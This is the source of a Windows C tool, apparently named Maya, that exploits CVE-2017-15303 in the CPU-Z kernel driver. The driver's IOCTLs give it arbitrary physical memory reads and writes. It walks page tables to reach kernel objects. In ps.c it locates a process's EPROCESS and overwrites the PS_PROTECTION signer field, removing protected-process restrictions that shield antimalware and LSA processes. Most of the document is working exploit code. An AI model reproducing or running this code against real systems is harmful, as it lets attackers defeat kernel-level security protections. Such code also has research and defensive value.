15 | *
16 | *******************************************************************************/
17 |
18 | #pragma once
19 |
20 | //number of buckets in the object directory
21 | #define NUMBEROFBUCKETS 0x25
22 |
23 | BOOL ObGetDirectoryObjectAddress(
24 | _In_opt_ LPWSTR lpDirectory,
25 | _Inout_ PULONG_PTR lpRootAddress,
26 | _Inout_opt_ PUSHORT lpTypeIndex);
27 |
28 | PVOID ObQueryObject(
29 | _In_ LPWSTR lpDirectory,
30 | _In_ LPWSTR lpObjectName);
31 |
--------------------------------------------------------------------------------
/src/Maya/pagewalk.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: PAGEWALK.C
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * Function to translate virtual to physical addresses, x86-64.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 |
20 | #include "global.h"
21 |
22 | #define PHY_ADDRESS_MASK 0x000ffffffffff000ull
23 | #define PHY_ADDRESS_MASK_2MB_PAGES 0x000fffffffe00000ull
24 | #define VADDR_ADDRESS_MASK_2MB_PAGES 0x00000000001fffffull
25 | #define VADDR_ADDRESS_MASK_4KB_PAGES 0x0000000000000fffull
26 | #define ENTRY_PRESENT_BIT 1
27 | #define ENTRY_PAGE_SIZE_BIT 0x0000000000000080ull
28 |
29 | int cpuz_readphyqword(unsigned long long addr, unsigned long long *value)
30 | {
31 | return cpuz_readPhysicalMemory(addr, value, sizeof(unsigned long long));
32 | }
33 |
34 | int EntryToPhyAddr(unsigned long long entry, unsigned long long *phyaddr)
35 | {
36 | if (entry & ENTRY_PRESENT_BIT) {
37 | *phyaddr = entry & PHY_ADDRESS_MASK;
38 | return 1;
39 | }
40 |
41 | return 0;
42 | }
43 |
44 | int VirtualToPhysical(unsigned long long vaddr, unsigned long long *phyaddr)
45 | {
46 | unsigned long long reg_cr3, selector, table, entry;
47 | int r, shift;
48 |
49 | if (cpuz_readcrX(3, ®_cr3) == 0)
50 | return 0;
51 |
52 | table = reg_cr3 & PHY_ADDRESS_MASK;
53 |
54 | for (r = 0; r < 4; r++) {
55 |
56 | shift = 39 - (r * 9);
57 | selector = (vaddr >> shift) & 0x1ff;
58 |
59 | if (cpuz_readphyqword(table + selector * 8, &entry) == 0)
60 | return 0;
61 |
62 | if (EntryToPhyAddr(entry, &table) == 0)
63 | return 0;
64 |
65 | if ((r == 2) && ((entry & ENTRY_PAGE_SIZE_BIT) != 0)) {
66 | table &= PHY_ADDRESS_MASK_2MB_PAGES;
67 | table += vaddr & VADDR_ADDRESS_MASK_2MB_PAGES;
68 | *phyaddr = table;
69 | return 1;
70 | }
71 | }
72 |
73 | table += vaddr & VADDR_ADDRESS_MASK_4KB_PAGES;
74 | *phyaddr = table;
75 |
76 | return 1;
77 | }
78 |
--------------------------------------------------------------------------------
/src/Maya/pagewalk.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: PAGEWALK.H
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * Page table translation prototypes.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 |
20 | #pragma once
21 |
22 | int VirtualToPhysical(
23 | unsigned long long vaddr,
24 | unsigned long long *phyaddr);
25 |
--------------------------------------------------------------------------------
/src/Maya/ps.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: PS.C
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * Processes related routines.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 |
20 | #include "global.h"
21 |
22 | /*
23 | * ControlProcess
24 | *
25 | * Purpose:
26 | *
27 | * Modify process object to remove PsProtectedProcess access restrictions.
28 | *
29 | */
30 | BOOL ControlProcess(
31 | _In_ ULONG_PTR ProcessId)
32 | {
33 | BOOL bResult = FALSE;
34 | ULONG i, Buffer;
35 | NTSTATUS status;
36 | ULONG_PTR CurrentProcessId = (ULONG_PTR)NtCurrentTeb()->ClientId.UniqueProcess;
37 | ULONG_PTR ProcessObject = 0, VirtualAddress = 0, Offset = 0;
38 | HANDLE hProcess = NULL;
39 | PSYSTEM_HANDLE_INFORMATION_EX pHandles;
40 |
41 | WCHAR szMsg[MAX_PATH * 2];
42 |
43 | CLIENT_ID clientId;
44 | OBJECT_ATTRIBUTES obja;
45 |
46 | PS_PROTECTION *PsProtection;
47 |
48 | InitializeObjectAttributes(&obja, NULL, 0, 0, 0);
49 |
50 | clientId.UniqueProcess = (HANDLE)ProcessId;
51 | clientId.UniqueThread = NULL;
52 |
53 | status = NtOpenProcess(&hProcess, PROCESS_QUERY_LIMITED_INFORMATION,
54 | &obja, &clientId);
55 |
56 | if (NT_SUCCESS(status)) {
57 |
58 | _strcpy(szMsg, TEXT("\r\n[+] Process with PID="));
59 | u64tostr(ProcessId, _strend(szMsg));
60 | _strcat(szMsg, TEXT(" opened (PROCESS_QUERY_LIMITED_INFORMATION)"));
61 | supPrintText(szMsg);
62 |
63 | pHandles = (PSYSTEM_HANDLE_INFORMATION_EX)supGetSystemInfo(SystemExtendedHandleInformation);
64 | if (pHandles) {
65 |
66 | _strcpy(szMsg, TEXT("\r\n[+] Handle dump created, number of handles = "));
67 | u64tostr(pHandles->NumberOfHandles, _strend(szMsg));
68 | supPrintText(szMsg);
69 |
70 | for (i = 0; i < pHandles->NumberOfHandles; i++) {
71 | if (pHandles->Handles[i].UniqueProcessId == CurrentProcessId) {
72 | if (pHandles->Handles[i].HandleValue == (ULONG_PTR)hProcess) {
73 | ProcessObject = (ULONG_PTR)pHandles->Handles[i].Object;
74 | break;
75 | }
76 | }
77 | }
78 |
79 | supHeapFree(pHandles);
80 | }
81 | else {
82 | supPrintText(TEXT("\r\n[!] Cannot locate process object"));
83 | }
84 |
85 | if (ProcessObject != 0) {
86 |
87 | _strcpy(szMsg, TEXT("\r\n[+] Process object (EPROCESS) found, 0x"));
88 | u64tohex(ProcessObject, _strend(szMsg));
89 | supPrintText(szMsg);
90 |
91 | switch (g_NtBuildNumber) {
92 | case 9600:
93 | Offset = PsProtectionOffset_9600;
94 | break;
95 | case 10240:
96 | Offset = PsProtectionOffset_10240;
97 | break;
98 | case 10586:
99 | Offset = PsProtectionOffset_10586;
100 | break;
101 | case 14393:
102 | Offset = PsProtectionOffset_14393;
103 | break;
104 | case 15063:
105 | Offset = PsProtectionOffset_15063;
106 | break;
107 | case 16299:
108 | Offset = PsProtectionOffset_16299;
109 | break;
110 | default:
111 | Offset = 0;
112 | break;
113 | }
114 |
115 | if (Offset == 0) {
116 | supPrintText(TEXT("\r\n[!] Unsupported WinNT version"));
117 | }
118 | else {
119 |
120 | VirtualAddress = EPROCESS_TO_PROTECTION(ProcessObject, Offset);
121 |
122 | _strcpy(szMsg, TEXT("\r\n[+] EPROCESS->PS_PROTECTION, 0x"));
123 | u64tohex(VirtualAddress, _strend(szMsg));
124 | supPrintText(szMsg);
125 |
126 | Buffer = 0;
127 | if (cpuz_readVirtualMemory(VirtualAddress, &Buffer, sizeof(ULONG))) {
128 |
129 | PsProtection = (PS_PROTECTION*)&Buffer;
130 |
131 | _strcpy(szMsg, TEXT("\r\n[+] Kernel memory read succeeded\r\n\tPsProtection->Type: "));
132 | ultostr(PsProtection->Type, _strend(szMsg));
133 |
134 | switch (PsProtection->Type) {
135 |
136 | case PsProtectedTypeNone:
137 | _strcat(szMsg, TEXT(" (PsProtectedTypeNone)"));
138 | break;
139 | case PsProtectedTypeProtectedLight:
140 | _strcat(szMsg, TEXT(" (PsProtectedTypeProtectedLight)"));
141 | break;
142 | case PsProtectedTypeProtected:
143 | _strcat(szMsg, TEXT(" (PsProtectedTypeProtected)"));
144 | break;
145 | default:
146 | _strcat(szMsg, TEXT(" (Unknown Type)"));
147 | break;
148 | }
149 |
150 | _strcat(szMsg, TEXT("\r\n\tPsProtection->Audit: "));
151 | ultostr(PsProtection->Audit, _strend(szMsg));
152 |
153 | _strcat(szMsg, TEXT("\r\n\tPsProtection->Signer: "));
154 | ultostr(PsProtection->Signer, _strend(szMsg));
155 |
156 | switch (PsProtection->Signer) {
157 | case PsProtectedSignerNone:
158 | _strcat(szMsg, TEXT(" (PsProtectedSignerNone)"));
159 | break;
160 | case PsProtectedSignerAuthenticode:
161 | _strcat(szMsg, TEXT(" (PsProtectedSignerAuthenticode)"));
162 | break;
163 | case PsProtectedSignerCodeGen:
164 | _strcat(szMsg, TEXT(" (PsProtectedSignerCodeGen)"));
165 | break;
166 | case PsProtectedSignerAntimalware:
167 | _strcat(szMsg, TEXT(" (PsProtectedSignerAntimalware)"));
168 | break;
169 | case PsProtectedSignerLsa:
170 | _strcat(szMsg, TEXT(" (PsProtectedSignerLsa)"));
171 | break;
172 | case PsProtectedSignerWindows:
173 | _strcat(szMsg, TEXT(" (PsProtectedSignerWindows)"));
174 | break;
175 | case PsProtectedSignerWinTcb:
176 | _strcat(szMsg, TEXT(" (PsProtectedSignerWinTcb)"));
177 | break;
178 | case PsProtectedSignerWinSystem:
179 | _strcat(szMsg, TEXT(" (PsProtectedSignerWinSystem)"));
180 | break;
181 | case PsProtectedSignerApp:
182 | _strcat(szMsg, TEXT(" (PsProtectedSignerApp)"));
183 | break;
184 | default:
185 | _strcat(szMsg, TEXT(" (Unknown Value)"));
186 | break;
187 | }
188 |
189 | supPrintText(szMsg);
190 |
191 | //
192 | // It will still look as "protected" process
193 | //
194 | PsProtection->Signer = PsProtectedSignerNone;
195 |
196 | bResult = cpuz_WriteVirtualMemory(VirtualAddress, &Buffer, sizeof(ULONG));
197 | if (bResult) {
198 | supPrintText(TEXT("\r\n[+] Process object modified"));
199 | }
200 | else {
201 | supPrintText(TEXT("\r\n[!] Cannot modify process object"));
202 | }
203 | }
204 | else {
205 | supPrintText(TEXT("\r\n[!] Cannot read kernel memory"));
206 | }
207 | }
208 | }
209 | else {
210 | supPrintText(TEXT("\r\n[!] Cannot query process object"));
211 | }
212 | NtClose(hProcess);
213 | }
214 | else {
215 | supPrintText(TEXT("\r\n[!] Cannot open target process"));
216 | }
217 |
218 | return bResult;
219 | }
220 |
--------------------------------------------------------------------------------
/src/Maya/ps.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: PS.H
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * Processes support prototypes and definitions.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 |
20 | #pragma once
21 |
22 | #define PsProtectionOffset_9600 (ULONG_PTR)0x67A
23 | #define PsProtectionOffset_10240 (ULONG_PTR)0x6AA
24 | #define PsProtectionOffset_10586 (ULONG_PTR)0x6B2
25 | #define PsProtectionOffset_14393 (ULONG_PTR)0x6C2
26 | #define PsProtectionOffset_15063 (ULONG_PTR)0x6CA
27 | #define PsProtectionOffset_16299 (ULONG_PTR)0x6CA
28 |
29 | #define EPROCESS_TO_PROTECTION(Object, PsProtectionOffset) ((ULONG_PTR)Object + (ULONG_PTR)PsProtectionOffset)
30 |
31 | BOOL ControlProcess(
32 | _In_ ULONG_PTR ProcessId);
33 |
--------------------------------------------------------------------------------
/src/Maya/readwrt.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: READWRT.C
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * Handlers for CPU-Z IOCTL requests.
12 | * CVE-2017-15303
13 | * https://www.cvedetails.com/cve/CVE-2017-15303/
14 | *
15 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
16 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
17 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
18 | * PARTICULAR PURPOSE.
19 | *
20 | *******************************************************************************/
21 |
22 | #include "global.h"
23 |
24 | /*
25 | * cpuz_readcrX
26 | *
27 | * Purpose:
28 | *
29 | * Read CR register (CR0, CR2, CR3).
30 | *
31 | */
32 | BOOL cpuz_readcrX(
33 | _In_ ULONG Index,
34 | _Out_ PDWORD_PTR Value)
35 | {
36 | DWORD bytesIO = 0, crIndex = Index;
37 | DWORD_PTR readValue = 0;
38 |
39 | DWORD LastError;
40 |
41 | *Value = 0;
42 |
43 | if (Index == 4) //cr4 not supported
44 | return FALSE;
45 |
46 | if (DeviceIoControl(g_hDevice, IOCTL_CPUZ_READ_CRX_REGISTER,
47 | &crIndex, sizeof(crIndex),
48 | &readValue, sizeof(readValue),
49 | &bytesIO, NULL))
50 | {
51 | if (bytesIO == sizeof(readValue)) {
52 | *Value = readValue;
53 | return TRUE;
54 | }
55 | else {
56 | supPrintText(TEXT("\r\n DeviceIoControl(IOCTL_CPUZ_READ_CRX_REGISTER) return bogus data\r\n"));
57 | }
58 | }
59 | else {
60 | LastError = GetLastError();
61 | supPrintText(TEXT("\r\n DeviceIoControl(IOCTL_CPUZ_READ_CRX_REGISTER) failed\r\n"));
62 | supShowError(LastError, TEXT("GetLastError="));
63 | }
64 | return FALSE;
65 | }
66 |
67 | /*
68 | * cpuz_readPhysicalMemory
69 | *
70 | * Purpose:
71 | *
72 | * Read physical memory (MmMapIoSpace).
73 | *
74 | */
75 | BOOL cpuz_readPhysicalMemory(
76 | _In_ DWORD_PTR PhysicalAddress,
77 | _In_ PVOID Buffer,
78 | _In_ DWORD BufferLength)
79 | {
80 | BOOL bResult;
81 | DWORD bytesIO = 0;
82 | READ_ADDRESS readAddress;
83 | OUT_DATA outData;
84 |
85 | DWORD LastError;
86 |
87 | readAddress.InputAddress.HighPart = HIDWORD(PhysicalAddress);
88 | readAddress.InputAddress.LowPart = LODWORD(PhysicalAddress);
89 | readAddress.OutputBufferLength = BufferLength;
90 | readAddress.OutputBuffer.HighPart = HIDWORD(Buffer);
91 | readAddress.OutputBuffer.LowPart = LODWORD(Buffer);
92 |
93 | outData.OperationCode = 0; //0x11111111 0x22222222
94 | outData.BufferLowPart = 0;
95 |
96 | bResult = DeviceIoControl(g_hDevice, IOCTL_CPUZ_READ_PHYSICAL_MEMORY,
97 | (LPVOID)&readAddress, sizeof(READ_ADDRESS),
98 | (LPVOID)&outData, sizeof(OUT_DATA),
99 | &bytesIO, NULL);
100 |
101 | if (!bResult) {
102 | LastError = GetLastError();
103 | supPrintText(TEXT("\r\nDeviceIoControl(IOCTL_CPUZ_READ_PHYSICAL_MEMORY) failed\r\n"));
104 | supShowError(LastError, TEXT("GetLastError="));
105 | }
106 |
107 | return bResult;
108 | }
109 |
110 | /*
111 | * cpuz_readVirtualMemory
112 | *
113 | * Purpose:
114 | *
115 | * Translate virtual address to physical and read data from it.
116 | *
117 | */
118 | BOOL cpuz_readVirtualMemory(
119 | _In_ DWORD_PTR VirtualAddress,
120 | _In_ PVOID Buffer,
121 | _In_ DWORD BufferLength)
122 | {
123 | DWORD_PTR phys = 0;
124 |
125 | if (VirtualToPhysical(VirtualAddress, &phys) != 0) {
126 | return cpuz_readPhysicalMemory(phys, Buffer, BufferLength);
127 | }
128 | return FALSE;
129 | }
130 |
131 | /*
132 | * cpuz_writePhysicalMemory
133 | *
134 | * Purpose:
135 | *
136 | * Write physical memory (MmMapIoSpace).
137 | * Input buffer length must be aligned to ULONG
138 | *
139 | */
140 | BOOL cpuz_writePhysicalMemory(
141 | _In_ DWORD_PTR PhysicalAddress,
142 | _In_ PDWORD Buffer,
143 | _In_ DWORD BufferLength)
144 | {
145 | BOOL bResult = FALSE;
146 | DWORD bytesIO = 0, LastError;
147 | WRITE_ADDRESS_ULONG writeAddress;
148 | OUT_DATA outData;
149 |
150 | ULONG i;
151 |
152 | if ((BufferLength % 4) != 0)
153 | return FALSE;
154 |
155 | for (i = 0; i < (BufferLength / 4); i++) {
156 |
157 | writeAddress.Address.HighPart = HIDWORD(PhysicalAddress + 4 * i);
158 | writeAddress.Address.LowPart = LODWORD(PhysicalAddress + 4 * i);
159 | writeAddress.Value = Buffer[i];
160 |
161 | outData.OperationCode = 0; //0x11111111 0x22222222
162 | outData.BufferLowPart = 0;
163 |
164 | bResult = DeviceIoControl(g_hDevice, IOCTL_CPUZ_WRITE_PHYSICAL_MEMORY,
165 | &writeAddress, sizeof(WRITE_ADDRESS_ULONG),
166 | &outData, sizeof(OUT_DATA),
167 | &bytesIO, NULL);
168 |
169 | if (!bResult) {
170 | LastError = GetLastError();
171 | supPrintText(TEXT("\r\nDeviceIoControl(IOCTL_CPUZ_WRITE_PHYSICAL_MEMORY) failed\r\n"));
172 | supShowError(LastError, TEXT("GetLastError="));
173 | break;
174 | }
175 | }
176 | return bResult;
177 | }
178 |
179 | /*
180 | * cpuz_WriteVirtualMemory
181 | *
182 | * Purpose:
183 | *
184 | * Translate virtual address to physical and write data to it.
185 | *
186 | */
187 | BOOL cpuz_WriteVirtualMemory(
188 | _In_ DWORD_PTR VirtualAddress,
189 | _In_ PVOID Buffer,
190 | _In_ DWORD BufferLength)
191 | {
192 | DWORD_PTR phys = 0;
193 |
194 | if (VirtualToPhysical(VirtualAddress, &phys) != 0) {
195 | return cpuz_writePhysicalMemory(phys, Buffer, BufferLength);
196 | }
197 | return FALSE;
198 | }
199 |
--------------------------------------------------------------------------------
/src/Maya/readwrt.h:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: READWRT.H
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * Prototypes and definitions for CPU-Z IOCTL requests.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 |
20 | #pragma once
21 |
22 | #define CPUZDRV L"cpuz141"
23 |
24 | #define LODWORD(x) ((DWORD)((DWORDLONG)(x)))
25 | #define HIDWORD(x) ((DWORD)(((DWORDLONG)(x) >> 32) & 0xffffffff))
26 |
27 | #define CPUZ_DEVICE_TYPE (DWORD)40000
28 |
29 | #define CPUZ_READ_PHYSMEMORY_FUNCTION (DWORD)2312
30 | #define CPUZ_READ_CRX_FUNCTION (DWORD)2314
31 | #define CPUZ_WRITE_PHYSMEMORY_FUNCTION (DWORD)2316
32 |
33 | #define IOCTL_CPUZ_READ_CRX_REGISTER CTL_CODE(CPUZ_DEVICE_TYPE, CPUZ_READ_CRX_FUNCTION, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402428
34 | #define IOCTL_CPUZ_READ_PHYSICAL_MEMORY CTL_CODE(CPUZ_DEVICE_TYPE, CPUZ_READ_PHYSMEMORY_FUNCTION, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402420
35 | #define IOCTL_CPUZ_WRITE_PHYSICAL_MEMORY CTL_CODE(CPUZ_DEVICE_TYPE, CPUZ_WRITE_PHYSMEMORY_FUNCTION, METHOD_BUFFERED, FILE_ANY_ACCESS) //0x9C402430
36 |
37 | #define CTL_CODE_TO_VALUES(ControlCode, DeviceType, Access, Function, Method ) (\
38 | DeviceType = ((DWORD)ControlCode & 0xffff0000) >> 16,\
39 | Access = ((DWORD)ControlCode & 0x0000c000) >> 14, \
40 | Function = ((DWORD)ControlCode & 0x00003ffc) >> 2,\
41 | Method = ((DWORD)ControlCode & 0x00000003)\
42 | )
43 |
44 | typedef struct _READ_ADDRESS {
45 |
46 | struct {
47 | ULONG HighPart;
48 | ULONG LowPart;
49 | } InputAddress;
50 |
51 | ULONG OutputBufferLength;
52 |
53 | struct {
54 | ULONG HighPart;
55 | ULONG LowPart;
56 | } OutputBuffer;
57 |
58 | } READ_ADDRESS, *PREAD_ADDRESS;
59 |
60 | typedef struct _WRITE_ADDRESS_ULONG {
61 |
62 | struct {
63 | ULONG HighPart;
64 | ULONG LowPart;
65 | } Address;
66 |
67 | ULONG Value;
68 |
69 | } WRITE_ADDRESS_ULONG, *PWRITE_ADDRESS_ULONG;
70 |
71 | typedef struct _OUT_DATA {
72 | ULONG OperationCode;
73 | ULONG BufferLowPart;
74 | } OUT_DATA, *POUT_DATA;
75 |
76 | BOOL cpuz_readcrX(
77 | _In_ ULONG Index,
78 | _Out_ PDWORD_PTR Value);
79 |
80 | BOOL cpuz_readPhysicalMemory(
81 | _In_ DWORD_PTR PhysicalAddress,
82 | _In_ PVOID Buffer,
83 | _In_ DWORD BufferLength);
84 |
85 | BOOL cpuz_readVirtualMemory(
86 | _In_ DWORD_PTR VirtualAddress,
87 | _In_ PVOID Buffer,
88 | _In_ DWORD BufferLength);
89 |
90 | BOOL cpuz_writePhysicalMemory(
91 | _In_ DWORD_PTR PhysicalAddress,
92 | _In_ PDWORD Buffer,
93 | _In_ DWORD BufferLength);
94 |
95 | BOOL cpuz_WriteVirtualMemory(
96 | _In_ DWORD_PTR VirtualAddress,
97 | _In_ PVOID Buffer,
98 | _In_ DWORD BufferLength);
99 |
--------------------------------------------------------------------------------
/src/Maya/resource.h:
--------------------------------------------------------------------------------
1 | //{{NO_DEPENDENCIES}}
2 | // Microsoft Visual C++ generated include file.
3 | // Used by Resource.rc
4 |
5 | // Next default values for new objects
6 | //
7 | #ifdef APSTUDIO_INVOKED
8 | #ifndef APSTUDIO_READONLY_SYMBOLS
9 | #define _APS_NEXT_RESOURCE_VALUE 101
10 | #define _APS_NEXT_COMMAND_VALUE 40001
11 | #define _APS_NEXT_CONTROL_VALUE 1001
12 | #define _APS_NEXT_SYMED_VALUE 101
13 | #endif
14 | #endif
15 |
--------------------------------------------------------------------------------
/src/Maya/sup.c:
--------------------------------------------------------------------------------
1 | /*******************************************************************************
2 | *
3 | * (C) COPYRIGHT AUTHORS, 2018
4 | *
5 | * TITLE: SUP.C
6 | *
7 | * VERSION: 1.00
8 | *
9 | * DATE: 10 Feb 2018
10 | *
11 | * Misc support routines.
12 | *
13 | * THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
14 | * ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
15 | * TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
16 | * PARTICULAR PURPOSE.
17 | *
18 | *******************************************************************************/
19 |
20 | #include "global.h"
21 |
22 | /*
23 | * supPrintText
24 | *
25 | * Purpose:
26 | *
27 | * Output text to the console.
28 | *
29 | */
30 | VOID supPrintText(
31 | _In_ LPWSTR lpText
32 | )
33 | {
34 | SIZE_T consoleIO;
35 | DWORD bytesIO;
36 |
37 | consoleIO = _strlen(lpText);
38 | WriteConsoleW(GetStdHandle(STD_OUTPUT_HANDLE), lpText, (DWORD)consoleIO, &bytesIO, NULL);
39 | }
40 |
41 | /*
42 | * supShowError
43 | *
44 | * Purpose:
45 | *
46 | * Output last error to the console.
47 | *
48 | */
49 | VOID supShowError(
50 | _In_ DWORD LastError,
51 | _In_ LPWSTR Msg
52 | )
53 | {
54 | LPWSTR lpMsgBuf = NULL;
55 | DWORD bytesIO;
56 | WCHAR *OutBuf;
57 | SIZE_T OutBufLen;
58 |
59 | if (FormatMessage(
60 | FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,
61 | NULL, LastError,
62 | MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
63 | (LPWSTR)&lpMsgBuf, 0, NULL))
64 | {
65 | OutBufLen = (20 + _strlen(lpMsgBuf) + _strlen(Msg));
66 | OutBuf = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, OutBufLen * sizeof(WCHAR));
67 | if (OutBuf) {
68 | _strcpy(OutBuf, TEXT("\n\r[!] "));
69 | _strcat(OutBuf, Msg);
70 | _strcat(OutBuf, TEXT(": "));
71 | _strcat(OutBuf, lpMsgBuf);
72 | _strcat(OutBuf, TEXT("\r\n"));
73 | WriteConsoleW(GetStdHandle(STD_OUTPUT_HANDLE), OutBuf, (DWORD)OutBufLen, &bytesIO, NULL);
74 | }
75 | LocalFree(lpMsgBuf);
76 | }
77 | }
78 |
79 | /*
80 | * supWriteBufferToFile
81 | *
82 | * Purpose:
83 | *
84 | * Create new file and write buffer to it.
85 | *
86 | */
87 | BOOL supWriteBufferToFile(
88 | _In_ LPWSTR lpFileName,
89 | _In_ PVOID Buffer,
90 | _In_ DWORD BufferSize
91 | )
92 | {
93 | HANDLE hFile;
94 | DWORD bytesIO = 0;
95 |
96 | if ((Buffer == NULL) || (BufferSize == 0))
97 | return FALSE;
98 |
99 | hFile = CreateFile(lpFileName,
100 | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
101 |
102 | if (hFile != INVALID_HANDLE_VALUE) {
103 | WriteFile(hFile, Buffer, BufferSize, &bytesIO, NULL);
104 | CloseHandle(hFile);
105 | }
106 | else {
107 | return FALSE;
108 | }
109 |
110 | return (bytesIO == BufferSize);
111 | }
112 |
113 | /*
114 | * supHeapAlloc
115 | *
116 | * Purpose:
117 | *
118 | * Wrapper for RtlAllocateHeap with WinObjEx heap.
119 | *
120 | */
121 | PVOID FORCEINLINE supHeapAlloc(
122 | _In_ SIZE_T Size)
123 | {
124 | return RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, HEAP_ZERO_MEMORY, Size);
125 | }
126 |
127 | /*
128 | * supHeapFree
129 | *
130 | * Purpose:
131 | *
132 | * Wrapper for RtlFreeHeap with WinObjEx heap.
133 | *
134 | */
135 | BOOL FORCEINLINE supHeapFree(
136 | _In_ PVOID Memory)
137 | {
138 | return RtlFreeHeap(NtCurrentPeb()->ProcessHeap, 0, Memory);
139 | }
140 |
141 | /*
142 | * supGetSystemInfo
143 | *
144 | * Purpose:
145 | *
146 | * Return buffer with system information by given InfoClass.
147 | *
148 | * Returned buffer must be freed with supHeapFree after usage.
149 | * Function will return error after 20 attempts.
150 | *
151 | */
152 | PVOID supGetSystemInfo(
153 | _In_ SYSTEM_INFORMATION_CLASS InfoClass
154 | )
155 | {
156 | INT c = 0;
157 | PVOID Buffer = NULL;
158 | ULONG Size = PAGE_SIZE;
159 | NTSTATUS status;
160 | ULONG memIO;
161 |
162 | do {
163 |
164 | Buffer = supHeapAlloc((SIZE_T)Size);
165 | if (Buffer != NULL) {
166 | status = NtQuerySystemInformation(InfoClass, Buffer, Size, &memIO);
167 | }
168 | else {
169 | return NULL;
170 | }
171 | if (status == STATUS_INFO_LENGTH_MISMATCH) {
172 | supHeapFree(Buffer);
173 | Buffer = NULL;
174 | Size *= 2;
175 | c++;
176 | if (c > 20) {
177 | status = STATUS_SECRET_TOO_LONG;
178 | break;
179 | }
180 | }
181 | } while (status == STATUS_INFO_LENGTH_MISMATCH);
182 |
183 | if (NT_SUCCESS(status)) {
184 | return Buffer;
185 | }
186 |
187 | if (Buffer) {
188 | supHeapFree(Buffer);
189 | }
190 | return NULL;
191 | }
192 |
193 | /*
194 | * supGetNtOsBase
195 | *
196 | * Purpose:
197 | *
198 | * Return ntoskrnl base address.
199 | *
200 | */
201 | ULONG_PTR supGetNtOsBase(
202 | VOID
203 | )
204 | {
205 | PRTL_PROCESS_MODULES miSpace;
206 | ULONG_PTR NtOsBase = 0;
207 |
208 | miSpace = supGetSystemInfo(SystemModuleInformation);
209 | if (miSpace != NULL) {
210 | NtOsBase = (ULONG_PTR)miSpace->Modules[0].ImageBase;
211 | supHeapFree(miSpace);
212 | }
213 | return NtOsBase;
214 | }
215 |
216 | /*
217 | * supGetModuleBaseByName
218 | *
219 | * Purpose:
220 | *
221 | * Return module base address.
222 | *
223 | */
224 | ULONG_PTR supGetModuleBaseByName(
225 | _In_ LPSTR ModuleName
226 | )
227 | {
228 | ULONG_PTR ReturnAddress = 0;
229 | ULONG i, k;
230 | PRTL_PROCESS_MODULES miSpace;
231 |
232 | miSpace = supGetSystemInfo(SystemModuleInformation);
233 | if (miSpace != NULL) {
234 | for (i = 0; i < miSpace->NumberOfModules; i++) {
